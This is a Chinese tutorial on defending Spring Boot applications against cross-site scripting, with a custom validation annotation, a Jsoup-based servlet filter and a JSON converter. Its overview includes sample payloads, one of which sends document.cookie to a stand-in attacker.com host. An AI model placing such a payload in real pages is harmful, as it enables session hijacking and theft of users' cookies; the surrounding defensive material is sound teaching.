XSS 攻擊?Spring Boot 快速防御策略
隨著Web應(yīng)用的普及,網(wǎng)絡(luò)安全問題也日益凸顯。跨站腳本攻擊(Cross-Site Scripting,簡稱XSS)是一種常見的Web安全漏洞,它允許攻擊者將惡意腳本注入到其他用戶瀏覽和使用的正常網(wǎng)頁中。當(dāng)其他用戶瀏覽這些網(wǎng)頁時(shí),惡意腳本就會(huì)在他們的瀏覽器上執(zhí)行,從而可能導(dǎo)致信息泄露、會(huì)話劫持等嚴(yán)重后果。XSS攻擊的普遍性和潛在危害性使其成為Web應(yīng)用安全中不可忽視的一部分。
本文旨在探討如何在Spring Boot應(yīng)用程序中有效地防御XSS攻擊。我們將介紹兩種主要的防御手段:注解和過濾器。通過這兩種方式,開發(fā)者可以輕松地在Spring Boot應(yīng)用中實(shí)現(xiàn)XSS攻擊的防御,從而保障用戶的數(shù)據(jù)安全和應(yīng)用的穩(wěn)定運(yùn)行。
一、XSS攻擊概述
XSS攻擊,全稱為跨站腳本攻擊(Cross-Site Scripting),是一種常見的網(wǎng)絡(luò)攻擊手段。它主要利用了Web應(yīng)用程序?qū)τ脩糨斎腧?yàn)證的不足,允許攻擊者將惡意腳本注入到其他用戶瀏覽的網(wǎng)頁中。
1.1 XSS攻擊的定義
XSS攻擊是指攻擊者在Web頁面的輸入數(shù)據(jù)中插入惡意腳本,當(dāng)其他用戶瀏覽該頁面時(shí),這些腳本就會(huì)在用戶的瀏覽器上執(zhí)行。由于腳本是在受害用戶的上下文中執(zhí)行的,因此它可以訪問該用戶的所有會(huì)話信息和權(quán)限,從而可能導(dǎo)致信息泄露、會(huì)話劫持、惡意操作等安全風(fēng)險(xiǎn)。
1.2 XSS攻擊的類型
XSS攻擊主要分為以下三種類型:
- 存儲(chǔ)型XSS(Persistent XSS): 惡意腳本被永久存儲(chǔ)在目標(biāo)服務(wù)器上,如數(shù)據(jù)庫、消息論壇、訪客留言等,當(dāng)用戶訪問相應(yīng)的網(wǎng)頁時(shí),惡意腳本就會(huì)執(zhí)行。
- 反射型XSS(Reflected XSS): 惡意腳本并不存儲(chǔ)在目標(biāo)服務(wù)器上,而是通過諸如URL參數(shù)的方式直接在請(qǐng)求響應(yīng)中反射并執(zhí)行。這種類型的攻擊通常是通過誘使用戶點(diǎn)擊鏈接或訪問特定的URL來實(shí)施的。
- 基于DOM的XSS(DOM-based XSS): 這種類型的XSS攻擊完全發(fā)生在客戶端,不需要服務(wù)器的參與。它通過惡意腳本修改頁面的DOM結(jié)構(gòu),實(shí)現(xiàn)攻擊。
1.3 XSS攻擊的攻擊原理及示例
XSS攻擊的基本原理是利用Web應(yīng)用程序?qū)τ脩糨斎氲男湃?,將惡意腳本注入到響應(yīng)中。當(dāng)其他用戶訪問包含惡意腳本的頁面時(shí),腳本會(huì)在他們的瀏覽器中執(zhí)行。
示例:
- 存儲(chǔ)型XSS攻擊:
攻擊者在一個(gè)博客評(píng)論系統(tǒng)中提交以下評(píng)論:
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
當(dāng)其他用戶查看這條評(píng)論時(shí),他們的cookie會(huì)被發(fā)送到攻擊者的服務(wù)器。
- 反射型XSS攻擊:
攻擊者構(gòu)造一個(gè)惡意URL:
http://example.com/search?q=<script>alert('XSS')</script>
如果服務(wù)器直接將搜索詞嵌入到響應(yīng)中而不進(jìn)行過濾,用戶點(diǎn)擊此鏈接后會(huì)看到一個(gè)警告框。
- DOM型XSS攻擊:
假設(shè)網(wǎng)頁中有以下JavaScript代碼:
var name = document.location.hash.substr(1);
document.write("歡迎, " + name);
攻擊者可以構(gòu)造如下URL:
http://example.com/page.html#<script>alert('XSS')</script>
當(dāng)用戶訪問此URL時(shí),惡意腳本會(huì)被執(zhí)行。
二、Spring Boot中的XSS防御手段
在Spring Boot中,我們可以采用多種方式來防御XSS攻擊。下面將詳細(xì)介紹兩種常用的防御手段:使用注解和使用過濾器。
2.1 使用注解進(jìn)行XSS防御
注解是一種輕量級(jí)的防御手段,它可以在方法或字段級(jí)別對(duì)輸入進(jìn)行校驗(yàn),從而防止XSS攻擊。
2.1.1 引入相關(guān)依賴
<!--JSR-303/JSR-380用于驗(yàn)證的注解 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId>
<version>3.2.0</version>
</dependency>
2.1.2 使用@XSS注解進(jìn)行參數(shù)校驗(yàn)
我們可以自定義一個(gè)@XSS注解,用于標(biāo)記那些需要校驗(yàn)的參數(shù)。這里是一個(gè)簡單的@XSS注解定義:
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {
String message() default "非法輸入, 檢測到潛在的XSS";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}
2.1.3 實(shí)現(xiàn)自定義注解處理器
接下來,我們需要實(shí)現(xiàn)XSSValidator類,該類將負(fù)責(zé)檢查輸入是否包含潛在的XSS攻擊腳本:
public class XssValidator implements ConstraintValidator<Xss, String> {
/**
* 使用自帶的 basicWithImages 白名單
*/
private static final Safelist WHITE_LIST = Safelist.relaxed();
/**
* 定義輸出設(shè)置,關(guān)閉prettyPrint(prettyPrint=false),目的是避免在清理過程中對(duì)代碼進(jìn)行格式化
* 從而保持輸入和輸出內(nèi)容的一致性。
*/
private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
/**
* 驗(yàn)證輸入值是否有效,即是否包含潛在的XSS攻擊腳本。
*
* @param value 輸入值,需要進(jìn)行XSS攻擊腳本清理。
* @param context 上下文對(duì)象,提供關(guān)于驗(yàn)證環(huán)境的信息,如驗(yàn)證失敗時(shí)的錯(cuò)誤消息定制。
* @return 如果清理后的值與原始值相同,則返回true,表示輸入值有效;否則返回false,表示輸入值無效。
*/
@Override
public boolean isValid(String value, ConstraintValidatorContext context) {
// 使用Jsoup庫對(duì)輸入值進(jìn)行清理,以移除潛在的XSS攻擊腳本。
// 使用預(yù)定義的白名單和輸出設(shè)置來確保只保留安全的HTML元素和屬性。
String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);
// 比較清理后的值與原始值是否相同,用于判斷輸入值是否有效。
return cleanedValue.equals(value);
}
}
2.1.4 使用注解
在要進(jìn)行XSS防御的屬性上添加注解:
@Data
@Tag(name = "用戶",description = "用戶登錄類")
public class UserLoginDTO {
@Xss
@NotBlank(message = "賬號(hào)不能為空")
@Schema(name = "用戶賬號(hào)",type = "String")
private String userAccount;
@Xss
@Size(min = 6, max = 18, message = "用戶密碼長度需在6-18位")
@Schema(name = "用戶密碼",type = "String")
private String password;
@Xss
@NotBlank(message = "郵箱驗(yàn)證碼內(nèi)容不能為空")
@Schema(name = "郵箱驗(yàn)證碼",type = "String")
private String emailCaptcha;
}
在Controller中的接口添加@Validated注解:
@PostMapping("/test2")
public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) {
return Result.success();
}
2.2 使用過濾器進(jìn)行XSS防御
2.2.1 引入相關(guān)依賴
<!-- Jsoup依賴 -->
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.17.2</version>
</dependency>
2.2.2 編寫配置類
/**
* 跨站腳本(XSS)過濾配置類。
*/
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {
/**
* 是否啟用XSS過濾。
*/
private String enabled;
/**
* 需要排除的URL模式,這些URL不會(huì)進(jìn)行XSS過濾。
*/
private String excludes;
/**
* 需要應(yīng)用XSS過濾的URL模式。
*/
private String urlPatterns;
/**
* 注冊(cè)XSS過濾器。
*
* @return FilterRegistrationBean 用于注冊(cè)過濾器的bean。
*/
@Bean
public FilterRegistrationBean xssFilterRegistration() {
FilterRegistrationBean registrationBean = new FilterRegistrationBean();
// 設(shè)置過濾器的分發(fā)類型為請(qǐng)求類型
registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
// 創(chuàng)建XssFilter的實(shí)例
registrationBean.setFilter(new XssFilter());
// 添加過濾器需要攔截的URL模式,這些模式從配置文件中的"urlPatterns"屬性讀取
registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));
// 設(shè)置過濾器的名稱
registrationBean.setName("XssFilter");
// 設(shè)置過濾器的執(zhí)行順序,數(shù)值越小,優(yōu)先級(jí)越高
registrationBean.setOrder(9999);
// 創(chuàng)建一個(gè)Map,用于存儲(chǔ)過濾器的初始化參數(shù)
Map<String, String> initParameters = new HashMap<>();
// 將配置文件中的"excludes"屬性設(shè)置到過濾器的初始化參數(shù)中
initParameters.put("excludes", excludes);
// 將配置文件中的"enabled"屬性設(shè)置到過濾器的初始化參數(shù)中
initParameters.put("enabled", enabled);
// 將初始化參數(shù)設(shè)置到FilterRegistrationBean中
registrationBean.setInitParameters(initParameters);
// 返回FilterRegistrationBean,包含了XssFilter的配置信息
return registrationBean;
}
}
2.2.3 修改配置文件
xss:
enabled: true
excludes:
url-patterns: /*
2.2.4 創(chuàng)建XSSFilter類
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@Slf4j
public class XssFilter implements Filter {
/**
* 存儲(chǔ)需要排除XSS過濾的URL模式列表。
*/
private List<String> excludes = new ArrayList<>();
/**
* 是否啟用XSS過濾的標(biāo)志。
*/
private boolean enabled = false;
/**
* 初始化過濾器,從過濾器配置中讀取排除列表和啟用狀態(tài)。
*
* @param filterConfig 過濾器配置對(duì)象。
* @throws ServletException 如果初始化過程中出現(xiàn)錯(cuò)誤。
*/
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String strExcludes = filterConfig.getInitParameter("excludes");
String strEnabled = filterConfig.getInitParameter("enabled");
//將不需要xss過濾的接口添加到列表中
if (StringUtils.isNotEmpty(strExcludes)) {
String[] urls = strExcludes.split(",");
for (String url : urls) {
excludes.add(url);
}
}
if (StringUtils.isNotEmpty(strEnabled)) {
enabled = Boolean.valueOf(strEnabled);
}
}
/**
* 執(zhí)行過濾邏輯,如果當(dāng)前請(qǐng)求不在排除列表中,則通過XSS過濾器包裝請(qǐng)求。
*
* @param request HTTP請(qǐng)求對(duì)象。
* @param response HTTP響應(yīng)對(duì)象。
* @param chain 過濾器鏈對(duì)象,用于繼續(xù)或中斷請(qǐng)求處理。
* @throws IOException 如果處理過程中出現(xiàn)I/O錯(cuò)誤。
* @throws ServletException 如果處理過程中出現(xiàn)Servlet相關(guān)錯(cuò)誤。
*/
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
//如果該訪問接口在排除列表里面則不攔截
if (isExcludeUrl(req.getServletPath())) {
chain.doFilter(request, response);
return;
}
log.info("uri:{}", req.getRequestURI());
// xss 過濾
chain.doFilter(new XssWrapper(req), resp);
}
/**
* 銷毀過濾器,釋放資源。
*/
@Override
public void destroy() {
// 無需額外的銷毀邏輯
}
/**
* 判斷當(dāng)前請(qǐng)求的URL是否應(yīng)該被排除在XSS過濾之外。
*
* @param urlPath 請(qǐng)求的URL路徑。
* @return 如果請(qǐng)求應(yīng)該被排除,則返回true;否則返回false。
*/
private boolean isExcludeUrl(String urlPath) {
if (!enabled) {
//如果xss開關(guān)關(guān)閉了,則所有url都不攔截
return true;
}
if (excludes == null || excludes.isEmpty()) {
return false;
}
String url = urlPath;
for (String pattern : excludes) {
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find()) {
return true;
}
}
return false;
}
}
2.2.5 編寫過濾工具類
/**
* XSS過濾工具類,使用Jsoup庫對(duì)輸入的字符串進(jìn)行XSS攻擊防護(hù)
*/
public class XssUtil {
/**
* 使用自帶的 basicWithImages 白名單
*/
private static final Safelist WHITE_LIST = Safelist.relaxed();
/**
* 定義輸出設(shè)置,關(guān)閉prettyPrint(prettyPrint=false),目的是避免在清理過程中對(duì)代碼進(jìn)行格式化
* 從而保持輸入和輸出內(nèi)容的一致性。
*/
private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);
/*
初始化白名單策略,允許所有標(biāo)簽擁有style屬性。
這是因?yàn)樵诟晃谋揪庉嬛?,樣式通常通過style屬性來定義,需要確保這些樣式能夠被保留。
*/
static {
// 富文本編輯時(shí)一些樣式是使用 style 來進(jìn)行實(shí)現(xiàn)的
// 比如紅色字體 style="color:red;"
// 所以需要給所有標(biāo)簽添加 style 屬性
WHITE_LIST.addAttributes(":all", "style");
}
/**
* 清理輸入的字符串,移除潛在的XSS攻擊代碼。
*
* @param content 待清理的字符串,通常是用戶輸入的HTML內(nèi)容。
* @return 清理后的字符串,保證不包含XSS攻擊代碼。
*/
public static String clean(String content) {
// 使用定義好的白名單策略和輸出設(shè)置清理輸入的字符串
return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);
}
}
2.2.6 編寫XSSRequestWrapper類清理腳本
在XSSFilter類中,我們創(chuàng)建了一個(gè)新的XSSRequestWrapper類,該類繼承自HttpServletRequestWrapper。在這個(gè)包裝類中,我們將重寫getParameter等方法,以清理請(qǐng)求參數(shù)中的潛在XSS腳本。
@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {
/**
* Constructs a request object wrapping the given request.
*
* @param request The request to wrap
* @throws IllegalArgumentException if the request is null
*/
public XssWrapper(HttpServletRequest request) {
super(request);
log.info("XssWrapper");
}
/**
* 對(duì)數(shù)組參數(shù)進(jìn)行特殊字符過濾
*/
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = cleanXSS(values[i]);
}
return encodedValues;
}
/**
* 對(duì)參數(shù)中特殊字符進(jìn)行過濾
*/
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
if (StrUtil.isBlank(value)) {
return value;
}
return cleanXSS(value);
}
/**
* 獲取attribute,特殊字符過濾
*/
@Override
public Object getAttribute(String name) {
Object value = super.getAttribute(name);
if (value instanceof String && StrUtil.isNotBlank((String) value)) {
return cleanXSS((String) value);
}
return value;
}
/**
* 對(duì)請(qǐng)求頭部進(jìn)行特殊字符過濾
*/
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
if (StrUtil.isBlank(value)) {
return value;
}
return cleanXSS(value);
}
/**
* 清理輸入的字符串以防止XSS攻擊
*
* @param value 待清理的字符串,通常為用戶輸入或來自不可信源的數(shù)據(jù)。
* @return 清理后的字符串,移除了可能的XSS攻擊代碼。
*/
private String cleanXSS(String value) {
return XssUtil.clean(value);
}
}
2.2.7 自定義json消息解析器
在使用springboot中,類似于普通的參數(shù)parameter,attribute,header一類的,可以直接使用過濾器來過濾。而前端發(fā)送回來的json字符串就沒那么方便過濾了??梢钥紤]用自定義json消息解析器來過濾前端傳遞的json。
/**
* 在讀取和寫入JSON數(shù)據(jù)時(shí)特殊字符避免xss攻擊的消息解析器
*
*/
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {
/**
* 從HTTP輸入消息中讀取對(duì)象,同時(shí)應(yīng)用XSS防護(hù)。
*
* @param type 類型令牌,表示要讀取的對(duì)象類型。
* @param contextClass 上下文類,提供類型解析的上下文信息。
* @param inputMessage HTTP輸入消息,包含要讀取的JSON數(shù)據(jù)。
* @return 從輸入消息中解析出的對(duì)象,經(jīng)過XSS防護(hù)處理。
* @throws IOException 如果發(fā)生I/O錯(cuò)誤。
* @throws HttpMessageNotReadableException 如果消息無法讀取。
*/
@Override
public Object read(Type type, Class contextClass,
HttpInputMessage inputMessage) throws IOException,
HttpMessageNotReadableException {
JavaType javaType = getJavaType(type, contextClass);
Object obj = readJavaType(javaType, inputMessage);
//得到請(qǐng)求json
String json = super.getObjectMapper().writeValueAsString(obj);
//過濾特殊字符
String result = XssUtil.clean(json);
Object resultObj = super.getObjectMapper().readValue(result, javaType);
return resultObj;
}
/**
* 從HTTP輸入消息中讀取指定Java類型的對(duì)象,內(nèi)部使用。
*
* @param javaType 要讀取的對(duì)象的Java類型。
* @param inputMessage HTTP輸入消息,包含要讀取的JSON數(shù)據(jù)。
* @return 從輸入消息中解析出的對(duì)象。
* @throws IOException 如果發(fā)生I/O錯(cuò)誤。
* @throws HttpMessageNotReadableException 如果消息無法讀取。
*/
private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {
try {
return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);
} catch (IOException ex) {
throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);
}
}
/**
* 將對(duì)象寫入HTTP輸出消息,同時(shí)應(yīng)用XSS防護(hù)。
*
* @param object 要寫入的對(duì)象。
* @param outputMessage HTTP輸出消息,對(duì)象將被序列化為JSON并寫入此消息。
* @throws IOException 如果發(fā)生I/O錯(cuò)誤。
* @throws HttpMessageNotWritableException 如果消息無法寫入。
*/
@Override
protected void writeInternal(Object object, HttpOutputMessage outputMessage)
throws IOException, HttpMessageNotWritableException {
//得到要輸出的json
String json = super.getObjectMapper().writeValueAsString(object);
//過濾特殊字符
String result = XssUtil.clean(json);
// 輸出
outputMessage.getBody().write(result.getBytes());
}
}
然后在啟動(dòng)類添加:
@Bean
public HttpMessageConverters xssHttpMessageConverters() {
XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();
HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;
return new HttpMessageConverters(converter);
}
三、測試
3.1 XSS注解:
如果不符合規(guī)則的字符(例如<script>alert('XSS');</script>)會(huì)提示非法輸入,檢測到潛在的XSS,可以看到下面的返回參數(shù)中的message已經(jīng)變?yōu)槟J(rèn)警告。
圖片
3.2 XSS過濾器
XSS過濾器實(shí)現(xiàn)的效果是過濾,將前端傳遞參數(shù)進(jìn)行清理,達(dá)到XSS防御的目的。
觀察下面的測試結(jié)果可以知道過濾器成功實(shí)現(xiàn)參數(shù)清理。
圖片
圖片
四、總結(jié)
本文深入探討了在Spring Boot應(yīng)用程序中如何有效地防御XSS攻擊。我們介紹了兩種主要的防御手段:使用注解和使用過濾器。